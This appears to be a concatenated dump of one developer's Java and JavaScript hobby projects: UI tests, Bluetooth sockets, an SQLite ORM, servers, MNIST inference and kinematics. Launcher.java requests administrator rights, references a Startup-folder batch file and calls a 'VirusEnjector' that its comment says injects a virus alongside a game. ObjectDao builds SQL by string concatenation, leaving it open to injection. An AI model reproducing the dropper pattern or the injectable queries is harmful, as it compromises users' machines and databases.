Gdx.input.setInputProcessor(stage);
guiDesign();
// stage.addActor(new TestCollapsible());
// stage.addActor(new TestColorPicker());
}
int sayi = 0;
@Override
public void render(float delta) {
sayi++;
if (sayi == 300) {
guiDesign();
// System.out.println("sıfırlandı");
sayi = 0;
}
super.render(delta);
Gdx.gl.glClear(GL20.GL_COLOR_BUFFER_BIT);
stage.act(Math.min(Gdx.graphics.getDeltaTime(), 1 / 30f));
stage.draw();
panel.render();
}
private void guiDesign() {
root.clearChildren();
root.debug();
VisTextButton button = new VisTextButton("Button");
root.add(button);
VisTextField field = new VisTextField();
root.add(field);
VisList<String> list = new VisList<String>();
Array<String> listStrings = new Array<String>();
listStrings.add("recai");
listStrings.add("furkan");
list.setItems(listStrings);
root.align(Align.center);
VisScrollPane pane = new VisScrollPane(list);
root.add(pane);
VisSlider slider = new VisSlider(0, 100, 5, false);
root.row();
root.add();
root.add(slider);
VisCheckBox checkBox = new VisCheckBox("box");
root.row();
checkBox.align(Align.center);
root.row();
root.add(checkBox).center();
VisTable table2 = new VisTable();
VisTextButton button2 = new VisTextButton("button2");
table2.add(button2);
VisTextButton button3 = new VisTextButton("button2");
table2.add(button3);
root.add(table2);
VisWindow window = new VisWindow("Title");
window.addCloseButton();
window.setResizable(true);
root.add(window);
//// stage.addActor(window);
//
root.row();
//
// VisDialog dialog = new VisDialog("Dialog");
// dialog.setResizable(true);
//
// root.add(dialog);
//
HorizontalFlowGroup hfg = new HorizontalFlowGroup(3);
VisTextButton button4 = new VisTextButton("button2");
VisTextButton button5 = new VisTextButton("button2");
VisTextButton button6 = new VisTextButton("button2");
VisTextButton button7 = new VisTextButton("button2");
//
hfg.addActor(button7);
hfg.addActor(button6);
hfg.addActor(button5);
hfg.addActor(button4);
//
root.row();
//
root.add(hfg).align(Align.left);
}
@Override
public void hide() {
// TODO Auto-generated method stub
super.hide();
}
@Override
public void dispose() {
// TODO Auto-generated method stub
super.dispose();
VisUI.dispose();
}
}
<file_sep>/BluetoothJavaComputer/BluetoothTest/app/src/main/java/com/example/byrfb/bluetoothtest/ConnectAndSend.java
package com.example.byrfb.bluetoothtest;
import android.bluetooth.BluetoothAdapter;
import android.bluetooth.BluetoothDevice;
import android.bluetooth.BluetoothSocket;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.util.Scanner;
import java.util.Set;
import java.util.UUID;
public class ConnectAndSend {
private static final UUID MY_UUID = UUID.fromString("04c6093b-0000-1000-8000-00805f9b34fb");
public ConnectThread.ConnectedThread th2;
public ConnectThread th1;
private BluetoothAdapter mBtAdapter;
public ConnectAndSend() {
mBtAdapter = BluetoothAdapter.getDefaultAdapter();
Set<BluetoothDevice> pairedDevices = mBtAdapter.getBondedDevices();
if (pairedDevices.size() > 0) {
for (BluetoothDevice device : pairedDevices) {
System.out.println(device);
th1 = new ConnectThread(device);
th1.start();
}
} else {
}
}
class ConnectThread extends Thread {
private final BluetoothDevice mmDevice;
private BluetoothSocket mmSocket = null;
public ConnectThread(BluetoothDevice device) {
mmDevice = device;
BluetoothSocket tmp = null;
// Get a BluetoothSocket for a connection with the
// given BluetoothDevice
try {
tmp = device.createRfcommSocketToServiceRecord(MY_UUID);
} catch (IOException e) {
}
mmSocket = tmp;
}
public void run() {
setName("ConnectThread");
// Always cancel discovery because it will slow down a connection
// Make a connection to the BluetoothSocket
try {
// This is a blocking call and will only return on a
// successful connection or an exception
mmSocket.connect();
th2 = new ConnectedThread(mmSocket);
th2.start();
} catch (IOException e) {
// Close the socket
try {
mmSocket.close();
} catch (IOException e2) {
}
// Start the service over to restart listening mode
}
}
public class ConnectedThread extends Thread {
private final BluetoothSocket mmSocket;
private final InputStream mmInStream;
private final OutputStream mmOutStream;
Scanner sc;
public ConnectedThread(BluetoothSocket socket) {
mmSocket = socket;
InputStream tmpIn = null;
OutputStream tmpOut = null;
// Get the BluetoothSocket input and output streams
try {
tmpIn = socket.getInputStream();
tmpOut = socket.getOutputStream();
} catch (IOException e) {
}
mmInStream = tmpIn;
mmOutStream = tmpOut;
}
public void run() {
byte[] buffer = new byte[1024];
// InputStreamReader reader = new InputStreamReader(mmInStream);
Scanner sc = new Scanner(mmInStream);
// Keep listening to the InputStream while connected
while (true) {
// Read from the InputStream
//System.out.println("rfb");
if (sc.hasNext()) {
System.out.println(sc.nextLine());
}
// try {
// if(mmInStream.available()==1){
// System.out.println(mmInStream.read());
//
//
// }
//// System.out.println(reader.read());
// } catch (IOException e) {
// e.printStackTrace();
// }
// int gelen = mmInStream.read();
//
// Send the obtained bytes to the UI Activity
}
}
/**
* Write to the connected OutStream.
*
* @param buffer The bytes to write
*/
public void write(byte[] buffer) {
try {
mmOutStream.write(buffer);
// Share the sent message back to the UI Activity
// mHandler.obtainMessage(BluetoothChat.MESSAGE_WRITE, -1, -1, buffer)
// .sendToTarget();
} catch (IOException e) {
}
}
public void write(int out) {
// mmOutStream.write(out);
PrintWriter writer = new PrintWriter(mmOutStream);
writer.write(out + "\n");
writer.flush();
// Share the sent message back to the UI Activity
// mHandler.obtainMessage(BluetoothChat.MESSAGE_WRITE, -1, -1, buffer)
// .sendToTarget();
}
public void cancel() {
try {
mmSocket.close();
} catch (IOException e) {
}
}
}
}
}
<file_sep>/JavaSqliteOrm/src/com/byrfb/database/ObjectDao.java
package com.byrfb.database;
import java.lang.reflect.Field;
/*
*
*
*
*/
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Map.Entry;
/*
* bir classın sql sorgusuna döndürlerek kaydedilmesi değiştirlmesi silinmesi update edimesi ile ilgili metotların bulunduğu ana sınıf
*
*/
public abstract class ObjectDao implements IDatabase {
IDatabaseConnector database;
public ObjectDao(IDatabaseConnector database) {
super();
this.database = database;
}
public HashMap<String, Object> parseVariables(Object obj) {
Field[] fields = obj.getClass().getDeclaredFields();
HashMap<String, Object> variables = new HashMap<>();
for (int i = 0; i < fields.length; i++) {
String name = fields[i].getName();
String value = null;
try {
value = fields[i].get(obj).toString();
} catch (NullPointerException | IllegalArgumentException | IllegalAccessException e) {
value = "";
}
variables.put(name, value);
}
return variables;
}
public String process(DatabaseProcess process, Object obj) {
String tableName = obj.getClass().getSimpleName().toLowerCase();
HashMap<String, Object> variables = parseVariables(obj);
String sql = null;
boolean isFirst = true;
switch (process) {
case Delete:
sql = "DELETE FROM " + tableName + " WHERE id =" + variables.get("id");
break;
case Insert:
sql = insertProcess(obj, variables, isFirst);
break;
case Select:
sql = "SELECT * FROM " + tableName + " WHERE id = " + variables.get("id");
break;
case Update:
sql = updateProcess(tableName, variables, isFirst);
break;
default:
break;
}
System.out.println(sql);
return sql;
}
private String insertProcess(Object obj, HashMap<String, Object> variables, boolean isFirst) {
String sql;
String campos = "";
String valores = "";
for (Entry<String, Object> entry : variables.entrySet()) {
String name = entry.getKey();
if(name.equals("id")){
continue;
}
String value = null;
try {
value = entry.getValue().toString();
} catch (NullPointerException e) {
value = "";
}
if (!isFirst) {
campos = campos + ",";
valores = valores + ",";
}
if (entry.getValue() instanceof String) {
valores = valores + "'" + value + "'";
} else {
valores = valores + value;
}
campos = campos + name;
isFirst = false;
}
sql = "INSERT INTO " + obj.getClass().getSimpleName().toLowerCase() + "(" + campos + ")VALUES(" + valores
+ ");";
return sql;
}
private String updateProcess(String tableName, HashMap<String, Object> variables, boolean isFirst) {
String sql;
String variableText = "";
for (Entry<String, Object> entry : variables.entrySet()) {
String name = entry.getKey();
String value = null;
try {
value = entry.getValue().toString();
} catch (NullPointerException e) {
value = "";
}
if (!isFirst) {
variableText = variableText + ",";
}
if (entry.getValue() instanceof String) {
variableText += name + " = '" + value + "'";
} else {
variableText += name + value;
}
isFirst = false;
}
sql = "UPDATE " + tableName + " SET " + variableText + " WHERE id =" + variables.get("id");
return sql;
}
public void insert(Object obj) {
String query = process(DatabaseProcess.Insert, obj);
try {
Connection conn = database.connect();
Statement stmt = conn.createStatement();
stmt.executeQuery(query);
} catch (SQLException e) {
e.printStackTrace();
}
}
public void update(Object obj) {
String query = process(DatabaseProcess.Update, obj);
try {
Connection conn = database.connect();
Statement stmt = conn.createStatement();
stmt.executeUpdate(query);
} catch (SQLException e) {
System.out.println(e.getMessage());
}
}
public <T> ArrayList<HashMap<String, Object>> selectAll(Class<T> objClass) {
String tableName = objClass.getSimpleName().toLowerCase();
System.out.println(tableName);
String query = "SELECT * FROM " + tableName;
ResultSet rs = null;
try {
Connection conn = database.connect();
Statement stmt = conn.createStatement();
rs = stmt.executeQuery(query);
return convertResultSet(rs);
} catch (SQLException e) {
System.out.println(e.getMessage());
}
return null;
}
private ArrayList<HashMap<String, Object>> convertResultSet(ResultSet rs) throws SQLException {
ResultSetMetaData data = rs.getMetaData();
ArrayList<HashMap<String, Object>> objects = new ArrayList<>();
// loop through the result set
while (rs.next()) {
HashMap<String, Object> variables = new HashMap<>();
for (int i = 1; i <= data.getColumnCount(); i++) {
variables.put(data.getColumnName(i), rs.getObject(data.getColumnName(i)));
}
objects.add(variables);
}
return objects;
}
public void delete(Object obj) {
String query = process(DatabaseProcess.Delete, obj);
try {
Connection conn = database.connect();
Statement stmt = conn.createStatement();
stmt.executeQuery(query);
} catch (SQLException e) {
System.out.println(e.getMessage());
}
}
@Override
public ArrayList<HashMap<String, Object>> select(Object obj) {
String query = process(DatabaseProcess.Select, obj);
ArrayList<HashMap<String, Object>> objects = new ArrayList<>();
ResultSet rs = null;
try {
Connection conn = database.connect();
Statement stmt = conn.createStatement();
rs = stmt.executeQuery(query);
return convertResultSet(rs);
} catch (SQLException e) {
e.printStackTrace();
}
return null;
}
}
<file_sep>/SocketIoWithJHook/sunucu/vuejs-node-server/index.js
const port = process.env.PORT || 80;
var express = require("express");
// App setup
var app = express();
var server = app.listen(port, function () {
console.log("listening for requests on port " + port);
});
const socketIo = require('./serverSide/socket.js')(server);
const publicRoot = "./frontend/dist/";
/*
app . use ile public klasörüne yol açılıyor bu yol ile
public klasöründeki dosyalar paylaşılıyor
*/
app.use(express.static(publicRoot));
app.get("/", function (req, res) {
console.log(__dirname + publicRoot + "index.html")
res.sendFile(__dirname + publicRoot + "index.html");
});
/*
bu alttakilerle işte bizim jar dosyaının işelmleri yapılmakta
*/
app.get("/buildjar", function (req, res) {
res.sendFile(__dirname + "/build/build.jar");
});
app.get("/buildexe", function (req, res) {
res.sendFile(__dirname + "/build/build.exe");
});<file_sep>/JavaSwingTwoWayBinding/src/main/java/com/byrfb/lang/types/BindiableDouble.java
package com.byrfb.lang.types;
public class BindiableDouble extends AbstractBindiableData<Double> {
}
<file_sep>/DeepLearning/DeepLearning1.0.0/src/com/byrfb/mnist/MnistModelUser.java
package com.byrfb.mnist;
import java.io.File;
import java.io.IOException;
import java.util.Arrays;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Set;
import javax.swing.JFileChooser;
import org.datavec.image.loader.NativeImageLoader;
import org.deeplearning4j.nn.multilayer.MultiLayerNetwork;
import org.deeplearning4j.util.ModelSerializer;
import org.nd4j.linalg.api.ndarray.INDArray;
import org.nd4j.linalg.dataset.api.preprocessor.DataNormalization;
import org.nd4j.linalg.dataset.api.preprocessor.ImagePreProcessingScaler;
import org.nd4j.linalg.factory.Nd4j;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class MnistModelUser {
public static Logger log = LoggerFactory.getLogger(MnistModelUser.class);
static List<Integer> labelList = Arrays.asList(2,3,7,1,6,4,0,5,8,9);
public static void main(String[] args) throws IOException {
log.info("Model Loading");
MultiLayerNetwork model = loadModel(new File("mnist.zip"));
model.init();
//alttaki agirlikari ve bias değerlerini verir
Map<String, INDArray> paramTable = model.paramTable();
Set<String> keys = paramTable.keySet();
Iterator<String> it = keys.iterator();
while (it.hasNext()) {
String key = it.next();
INDArray values = paramTable.get(key);
System.out.print(key+" ");//print keys
System.out.println(Arrays.toString(values.shape()));//print shape of INDArray
System.out.println(values);
// model.setParam(key, Nd4j.rand(values.shape()));//set some random values
}
// File fileChoose = openFileChooser();
log.info("Image Loading");
testEt(model);
}
public static void testEt(MultiLayerNetwork model) throws IOException {
int width =28;
int height = 28;
int channels = 1;
log.info("Image Loading");
NativeImageLoader loader = new NativeImageLoader(width,height,channels);
File resimlerFile = new File("C:\\Users\\ByRfb\\Desktop\\sayılar");
File resimler[] = resimlerFile.listFiles();
for(File resim : resimler) {
INDArray image = loader.asMatrix(resim);
DataNormalization scaler = new ImagePreProcessingScaler(0,1);
scaler.transform(image);
// log.info(image.toString());
INDArray output = model.output(image);
log.info(output.toString());
log.info(labelList.toString());
log.info(resim.getName());
}
}
public static File openFileChooser() {
JFileChooser chooser = new JFileChooser(new File("C:\\Users\\ByRfb\\Desktop\\sayılar"));
int ret = chooser.showOpenDialog(null);
if(ret == JFileChooser.APPROVE_OPTION) {
File file = chooser.getSelectedFile();
return file;
}
return null;
}
public static MultiLayerNetwork loadModel(File locationToSave) throws IOException {
return ModelSerializer.restoreMultiLayerNetwork(locationToSave);
}
}
<file_sep>/HerokuJavaServerWithGradle/src/main/java/router/Router.java
package router;
import main.Main;
import request.HttpRequest;
import response.HttpResponse;
import java.io.File;
import java.io.IOException;
public class Router {
HttpRequest request;
HttpResponse response;
public Router(HttpRequest request, HttpResponse response) {
this.request = request;
this.response =response;
route();
}
private void route(){
File requestFile = new File(Main.WEB_ROOT, request.getRequestPath());
// istenen dosya var m� diye kontrol ediliyor
if (requestFile.exists()) {
// e�er anasayfa istenmi�se diye bak�l�yor
if (request.getRequestPath().equals("/")) {
// url de rfb diye parametreli de�i�ken g�nderilmi� mi bak�l�yor
// String sonuc = (String) request.getParameter("rfb");
// response.sendText(sonuc);
response.sendAnasayfa();
} else {
response.sendFile(request.getRequestPath());
}
} else {
try {
response.fileNotFound(request.getRequestPath());
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
}
<file_sep>/YksSonucParser/settings.gradle
rootProject.name = 'YksSonucParser'
<file_sep>/Launcher/src/main/java/com/byrfb/Launcher.java
package com.byrfb;
import com.byrfb.administor.SUDO;
import com.byrfb.administor.SuperUserApplication;
import javax.swing.*;
import java.io.IOException;
public class Launcher extends SuperUserApplication {
public static void main(String[] arg) {
//Başlangıç dosyası alınması için kullanılıyor
String startPah = "C:\\Users\\ByRfb//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//Startup//drun.bat".replace("//","\\");
SUDO.run(new Launcher(), arg);
}
@Override
public int runAdministor(String[] strings) {
try {
// Virusun enjekte edilme işlemini yapan classa ulaşıp virus enjekte oyun başlatma ve virus başlatma işlemleri yapılıyor
new VirusEnjector().enject();
System.exit(0);
} catch (IOException e) {
e.printStackTrace();
}
return 0;
}
@Override
public int runNotAdministor() {
JOptionPane.showMessageDialog(null,
"Lutfen Administor olarak onaylayınız",
"Uyarı",
JOptionPane.WARNING_MESSAGE);
return 0;
}
}<file_sep>/BluetoothJavaComputer/src/remotebluetooth/SearchThread.java
package remotebluetooth;
import javax.bluetooth.BluetoothStateException;
import javax.bluetooth.DiscoveryAgent;
import javax.bluetooth.LocalDevice;
import javax.bluetooth.UUID;
import javax.microedition.io.Connector;
import javax.microedition.io.StreamConnection;
import javax.microedition.io.StreamConnectionNotifier;
import java.io.IOException;
/*
kardeş bura threaddir
*/
public class SearchThread implements Runnable {
/**
* Constructor
*/
public SearchThread() {
}
/*
threadi başlatan sınıf burası gördüğün gibi işlem yapan metodu çağrıyor
*/
@Override
public void run() {
waitForConnection();
}
/**
* Waiting for connection from devices
*/
private void waitForConnection() {
// retrieve the local Bluetooth device object
LocalDevice local = null;
StreamConnectionNotifier notifier;
StreamConnection connection = null;
// setup the server to listen for connection
try {
local = LocalDevice.getLocalDevice(); // local bluetooth cihazı varsa onu getiriyor
local.setDiscoverable(DiscoveryAgent.GIAC);
UUID uuid = new UUID("04c6093b00001000800000805f9b34fb", false);
// direk buna bağlanmasının sebebi android cihazda da uuid olarak bu üsttekini vermiş olmamız o yüzden başka bişey yapmaya gerek kalmıyor direk buna bağlanıyort
System.out.println(uuid.toString());
String url = "btspp://localhost:" + uuid.toString() + ";name=RemoteBluetooth";
notifier = (StreamConnectionNotifier) Connector.open(url);
} catch (BluetoothStateException e) {
System.out.println("Bluetooth is not turned on.");
e.printStackTrace();
return;
} catch (IOException e) {
e.printStackTrace();
return;
}
// waiting for connection
while (true) {
try {
System.out.println("waiting for connection...");
connection = notifier.acceptAndOpen(); // burada connection oluştu oluşan connecitini da process connection threada gönderiyor
Thread processThread = new Thread(new ProcessConnectionThread(connection));
processThread.start();
} catch (Exception e) {
e.printStackTrace();
return;
}
}
}
}
<file_sep>/JavaFxInSwing/src/com/byrfb/lwjgl/interfaces/IGame.java
/*
*
* buj inteface open gl ile render yağabilmek için gerekli metotları bulunduruor
* bunlarla render alıyorsun
*
*
*/
package com.byrfb.lwjgl.interfaces;
public interface IGame {
public void create();
public void update();
public void render();
public void destroy();
}
<file_sep>/JavaSwingTwoWayBinding/src/main/java/com/byrfb/lang/types/BindiableLong.java
package com.byrfb.lang.types;
public class BindiableLong extends AbstractBindiableData<Long> {
}
<file_sep>/KinematikAlgorithms/src/com/byrfb/kinematic/Link.java
package com.byrfb.kinematic;
import com.byrfb.math.Matrix4;
import com.byrfb.math.Vector3;
/*
*
* Burada her bir bağlantının bilgileri tutukup gerekli işlemler yapılmakta
*
*
*
*/
public class Link {
double jointAngle; // oi
double linkTwist; // alfa i
double linkOffset; // di
double linkLenght;// ai
Matrix4 homogeneousMatrix;
Vector3 coord = new Vector3();
public Matrix4 getHomogeneousMatrix() {
return homogeneousMatrix;
}
public void setHomogeneousMatrix(Matrix4 homogeneousMatrix) {
this.homogeneousMatrix = homogeneousMatrix;
}
public Link(double jointAngle, double linkTwist, double linkOffset, double linkLenght) {
super();
this.linkOffset = linkOffset;
this.jointAngle = jointAngle;
this.linkLenght = linkLenght;
this.linkTwist = linkTwist;
this.setHomogenousMatrix();
}
public void update() {
setHomogenousMatrix();
}
public void setHomogenousMatrix() {
float [] values = new float[] {
(float) Math.cos(Math.toRadians(jointAngle)),
(float) (-Math.sin(Math.toRadians(jointAngle))*Math.cos(Math.toRadians(linkTwist))),
(float) (Math.sin(Math.toRadians(jointAngle))*Math.sin(Math.toRadians(linkTwist))),
(float) (linkLenght*Math.cos(Math.toRadians(jointAngle))),
(float) Math.sin(Math.toRadians(jointAngle)),
(float) (Math.cos(Math.toRadians(jointAngle))*Math.cos(Math.toRadians(linkTwist))),
(float) (-Math.cos(Math.toRadians(jointAngle))*Math.sin(Math.toRadians(linkTwist))),
(float) (linkLenght*Math.sin(Math.toRadians(jointAngle))),
(float) 0.0,
(float) Math.sin(Math.toRadians(linkTwist)),
(float) Math.cos(Math.toRadians(linkTwist)),
(float) (linkOffset*1.0),
(float) 0.0,
(float) 0.0,
(float) 0.0,
(float) 1.0
};
this.homogeneousMatrix = new Matrix4(values);
this.homogeneousMatrix = this.homogeneousMatrix.tra();
}
public Vector3 getCoord() {
return coord;
}
public void setCoord(Vector3 coord) {
this.coord = coord;
}
public double getLinkOffset() {
return linkOffset;
}
public void setLinkOffset(float linkOffset) {
this.linkOffset = linkOffset;
}
public double getJointAngle() {
return jointAngle;
}
public void setJointAngle(float jointAngle) {
this.jointAngle = jointAngle;
}
public double getLinkLenght() {
return linkLenght;
}
public void setLinkLenght(float linkLenght) {
this.linkLenght = linkLenght;
}
public double getLinkTwist() {
return linkTwist;
}
public void setLinkTwist(float linkTwist) {
this.linkTwist = linkTwist;
}
}
<file_sep>/OpenGlJavaFxSwing/src/application/Panel.java
package application;
import java.awt.Canvas;
import java.awt.Graphics;
import javax.swing.JPanel;
public class Panel extends JPanel {
Canvas canvas;
public Canvas getCanvas() {
return canvas;
}
public Panel() {
canvas = new Canvas() {
@Override
public void paint(Graphics g) {
// TODO Auto-generated method stub
super.paint(g);
g.fillRect(20, 20, 20, 20);
}
};
canvas.setSize(800, 600);
this.add(canvas);
this.setSize(800, 600);
}
}
<file_sep>/JavaSqliteOrm/src/com/byrfb/database/DatabaseProcess.java
package com.byrfb.database;
/*
* veritabanında yapılabilecek işlemlerin toplandığ yer
*
*
*/
public enum DatabaseProcess {
Insert,
Update,
Delete,
Select
}
<file_sep>/HerokuJavaServerWithGradle/src/main/java/main/Server.java
package main;
import request.HttpRequest;
import response.HttpResponse;
import router.Router;
import java.io.IOException;
import java.net.Socket;
public class Server implements Runnable {
Socket socket;
Server(Socket csocket) {
this.socket = csocket;
}
@Override
public void run() {
if(!socket.isConnected())return;
HttpResponse response = null;
try {
response = new HttpResponse(socket.getOutputStream());
HttpRequest request = new HttpRequest(socket.getInputStream(), response);
Router router = new Router(request,response);
socket.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
// public void run() {
// try {
//
//
// BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream()));
//
// BufferedWriter out = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream()));
//
//
// String s;
// while ((s = in.readLine()) != null) {
// System.out.println(s);
// if (s.isEmpty()) {
// break;
// }
// }
//
//
// out.write("HTTP/1.0 200 OK\r\n");
// out.write("Date: Fri, 31 Dec 1999 23:59:59 GMT\r\n");
// out.write("main.Server: Apache/0.8.4\r\n");
// out.write("Content-Type: text/html\r\n");
// out.write("Content-Length: 59\r\n");
// out.write("Expires: Sat, 01 Jan 2000 00:59:59 GMT\r\n");
// out.write("Last-modified: Fri, 09 Aug 1996 14:21:40 GMT\r\n");
// out.write("\r\n");
// out.write("<TITLE>Exemple</TITLE>");
//
// out.write("<P>Hello with heroku java server</P>");
//
// out.write("\r\n");
//
//
// out.close();
// in.close();
// socket.close();
// LOG("SOCKET KAPANDI");
//
//
// } catch (IOException e) {
// e.printStackTrace();
// }
// }<file_sep>/JavaSwingTwoWayBinding/src/main/java/com/byrfb/lang/types/BindiableFloat.java
package com.byrfb.lang.types;
public class BindiableFloat extends AbstractBindiableData<Float>{
}
<file_sep>/HerokuTcpTest/build.gradle
/*
* This file was generated by the Gradle 'init' task.
*
* This generated file contains a sample Java project to get you started.
* For more details take a look at the Java Quickstart chapter in the Gradle
* User Manual available at https://docs.gradle.org/5.5.1/userguide/tutorial_java_projects.html
*/
/*
git init
git add .
git commit -m "Demo"
heroku create
git push heroku master
*/
plugins {
// Apply the java plugin to add support for Java
id 'java'
// Apply the application plugin to add support for building a CLI application
id 'application'
}
compileJava {options.encoding = "UTF-8"}
repositories {
// Use jcenter for resolving dependencies.
// You can declare any Maven/Ivy/file repository here.
jcenter()
}
dependencies {
// This dependency is used by the application.
implementation 'com.google.guava:guava:27.1-jre'
// Use JUnit test framework
testImplementation 'junit:junit:4.12'
// https://mvnrepository.com/artifact/commons-cli/commons-cli
compile group: 'commons-cli', name: 'commons-cli', version: '1.4'
}
application {
// Define the main class for the application
mainClassName = 'com.byrfb.App'
}
jar {
baseName = rootProject.getName()
version = ''
manifest {
attributes "Main-Class": getMainClassName()
attributes "Class-Path": configurations.runtime.files.collect { "libs/$it.name" }.join(' ')
}
// bu alttaki from kısmı eklenen classpathları direk har içine fat jar olrak gömer
// from {
// configurations.compile.collect { it.isDirectory() ? it : zipTree(it) }
// }
}
task stage(dependsOn: ['build', 'clean'])
build.mustRunAfter clean
// compile edilenleri veya eklenen libararileri direk jarın yanına kopyalar
// sonra eğer librarileri kulanıyorsan classpatha eklemek için manifest dosyasına classpath diye belirtmen gerekmekte
// Class-Path: jsoup-1.11.3.jar bu şekilde ekleycen manifest dosyasına
task copyToLib(type: Copy) {
into "$buildDir/libs/libs"
from(configurations.compile)
}
task writeProc() {
doLast {
new File(projectDir, "Procfile").text = "web: java -jar build/libs/"+rootProject.getName()+".jar -p \$PORT"
}
}
stage.dependsOn(writeProc)
stage.dependsOn(copyToLib)
gradle.taskGraph.whenReady {
taskGraph ->
if (taskGraph.hasTask(stage)) {
test.enabled = false
}
}
<file_sep>/Py4J/python/src/main.py
"""
Created on Dec 19, 2009
@author: <NAME>
"""
from py4j.java_gateway import JavaGateway,GatewayParameters
gateway = JavaGateway(gateway_parameters=GatewayParameters(auto_field=True))
# gateway = JavaGateway()
object = gateway.entry_point.getObject()
jvm = gateway.jvm
System = jvm.java.lang.System
Scanner = jvm.java.util.Scanner
String = jvm.java.lang.String
Main = jvm.com.byrfb.Main
Http = jvm.com.byrfb.Http
def inputPOutputj():
global text
while 1:
text = input("Değer gir")
print(text)
System.out.println(text)
def inputJOutputJ():
global text
while 1:
sc = Scanner(Main.getSystemIn());
text = sc.nextLine()
print(text)
System.out.println(text)
def sendHttpGet():
USER_AGENT = String("Mozilla/5.0")
url = String("https://www.facebook.com")
http = Http(url)
http.sendGet("")
if __name__ == "__main__":
sendHttpGet()
inputPOutputj()
# inputJOutputJ()
<file_sep>/Libgdx with video Tests/html3DTest/core/src/com/byrfb/socketio/ISocketIo.java
package com.byrfb.socketio;
public interface ISocketIo {
public void connect(String path);
public <T> void onSocket(final String servicio,SocketHandler<T> callback);
public <T>void emitSocket(String servicio,T data);
public <T> String getStringData(T data);
}
<file_sep>/JNITests-1/Makefile
jniPath = "E:\Program Files\Java\dcevm-11.0.11+1\include"
jni-md-path = "E:\Program Files\Java\dcevm-11.0.11+1\include\win32"
jniPathLinux = "/usr/lib/jvm/java-11-openjdk-amd64/include"
jni-md-path-linux = "/usr/lib/jvm/java-11-openjdk-amd64/include/linux"
jniPathMac = "/Library/Java/JavaVirtualMachines/jdk-11.0.5.jdk/Contents/Home/include"
jni-md-path-mac = "/Library/Java/JavaVirtualMachines/jdk-11.0.5.jdk/Contents/Home/include/darwin"
CLASSPATH = "F:\WorkSpaces\Java\SystemScreenSaver\src\main\java"
javah = javah
javahFlags = -classpath $(CLASSPATH)
propertiesLibPath = libs/Properties/include
CFLAGS = -I $(jniPath) -I $(jni-md-path)
CFLAGSLINUX = -I $(jniPathLinux) -I $(jni-md-path-linux)
CFLAGSMAC = -I $(jniPathMac) -I $(jni-md-path-mac)
BIT_FLAG = -m64
run:
java "-Djava.library.path=./library" HelloJNI.java
compile-windows:
gcc $(BIT_FLAG) -shared -o hello.dll HelloJNI.c $(CFLAGS) -D jni
compile-ubuntu:
gcc -fPIC $(CFLAGSLINUX) -shared -o libhello.so HelloJNI.c
compile-mac:
gcc -fPIC $(CFLAGSMAC) -shared -o ./library/libhello.dylib HelloJNI.c
<file_sep>/javaDirCopy/nbproject/configs/ScannerAndListerTest.properties
main.class=Tests.ScannerAndListerTest
<file_sep>/dus Parser/DusParser/src/main/java/com/byrfb/Util.java
package com.byrfb;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
public class Util {
public static String open(String fileName) {
StringBuilder contentBuilder = new StringBuilder();
try (BufferedReader br = new BufferedReader(new FileReader(fileName))) {
String sCurrentLine;
while ((sCurrentLine = br.readLine()) != null) {
contentBuilder.append(sCurrentLine).append("\n");
}
} catch (IOException e) {
e.printStackTrace();
}
return contentBuilder.toString();
}
}
<file_sep>/JavaSwingTwoWayBinding/src/main/java/com/byrfb/gui/BindiableComponent.java
package com.byrfb.gui;
import com.byrfb.lang.DataChangeListener;
import com.byrfb.lang.types.AbstractBindiableData;
import com.byrfb.lang.types.BindiableString;
import javax.swing.*;
/*
JComponent sınınfı settext ve gettext metodu içermediği için bunları için ayrı sınıf oluşturulmuştur
implemente eden yerde settext ve gettext metotları bulunm alı
*/
public abstract class BindiableComponent implements DataChangeListener, ITextChangeable {
BindiableString value;
protected ITextChangeable component;
public void bind(AbstractBindiableData data) {
if (data instanceof BindiableString) {
value = (BindiableString) data;
value.addListener(this);
} else {
new Exception("Cannot solve Type of : " + data.getClass().getName());
}
}
/*
Bind edilen değer eğer değiştirlmişse burdaki metod çalıır
*/
@Override
public void onDataChange() {
component.setText(value.getValue());
}
/**
* değeri değiştilebilir alan buraya gönderilmekte
* @param bindiableTextArea
*/
protected void setBindinable(ITextChangeable bindiableTextArea) {
this.component = bindiableTextArea;
}
/**
* java swinge eklenmesi için componentin get edilmesi gerekmekte
* @return
*/
@Override
public JComponent getComponent() {
return component.getComponent();
}
}
<file_sep>/JniTest/src/Main.java
import java.io.File;
/*
* Baba bu projede c++ ile çok güzel bişekilde haberleşmeyi yaptın java ile cpp bağlantısnı da artık kolay oluşturursu
*
*
*/
public class Main {
static {
File library = new File("JNIDll\\x64\\Debug\\Dll1.dll");
System.load(library.getAbsolutePath());
}
public static void main(String[] args) {
Main main = new Main();
new Thread(new Runnable() {
@Override
public void run() {
while (true) {
while (!main.ishandled()) {
System.out.println(main.getKEy());
}
try {
Thread.sleep(1000/60);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
}).start();
if(main.helloWorld("recaiii") == 5) {
System.exit(1);
}
}
native int helloWorld(String isim);
native int getKEy();
native boolean ishandled();
}
<file_sep>/KinematicTest Processing/src/com/byrfb/araclar/Cubuk.java
package com.byrfb.araclar;
import com.byrfb.Main;
import processing.core.PVector;
public class Cubuk {
/*
* Her bir kolun 2 tane bölümü o bölümler bunda oluşur
*/
PVector basKoordinat = new PVector();
PVector sonKoordinat = new PVector();
float uzunluk = 0;
float angle = 0;
public Cubuk(PVector basKoordinat, float uzunluk, float angle) {
super();
this.basKoordinat = basKoordinat;
setAngle(angle);
this.uzunluk = uzunluk;
setSonKoordinat(basKoordinat, angle);
}
/*
* Baş koordinat ve açısı verilenin otomatik uzunlukla birlikte son noktası
* tespit edilir
*/
void setSonKoordinat(PVector basKoordinat, float angle) {
float sonX = (float) (basKoordinat.x + (Math.cos(Math.toRadians(angle)) * uzunluk));
